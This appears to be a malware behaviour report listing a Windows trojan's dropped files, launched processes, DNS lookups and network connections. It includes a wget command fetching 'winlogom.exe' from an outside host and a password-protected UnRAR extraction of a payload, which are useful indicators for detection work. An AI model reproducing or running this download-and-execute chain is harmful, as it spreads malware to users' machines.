Technical Information
- %TEMP%\pwrcmkcbor.vbs
- '%TEMP%\winlogom.exe'
- '%TEMP%\wget.exe' http://www.sh####n-road.com/download/Server/winlogom.exe -N
- '%TEMP%\ofrpyqzgrh\UnRAR.exe' e -o+ -p2h2u2axdrbpupb5bg8tah5varzhvt0 ddnapauqus.exe %HOMEPATH%\Local Settings\Temp
- '%TEMP%\winlogom.exe' (downloaded from the Internet)
- '<SYSTEM32>\wscript.exe' "%TEMP%\pwrcmkcbor.vbs"
- '<SYSTEM32>\ping.exe' -n 2 -w 900 google.com
- '<SYSTEM32>\wscript.exe' "%TEMP%\ofrpyqzgrh\refyjdzhb.vbs"
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\ofrpyqzgrh\cxvryhstm.bat" "
- %TEMP%\wget.exe
- %TEMP%\pwrcmkcbor.vbs
- %TEMP%\winlogom.exe
- %TEMP%\runresult.tmp
- %TEMP%\ofrpyqzgrh\ddnapauqus.exe
- %TEMP%\ofrpyqzgrh\cxvryhstm.bat
- %TEMP%\ofrpyqzgrh\UnRAR.exe
- %TEMP%\ofrpyqzgrh\refyjdzhb.vbs
- %TEMP%\runresult.tmp
- 'www.sh####n-road.com':80
- www.sh####n-road.com/download/Server/winlogom.exe
- DNS ASK www.sh####n-road.com
- DNS ASK google.com
- ClassName: 'Shell_TrayWnd' WindowName: ''
- ClassName: 'EDIT' WindowName: ''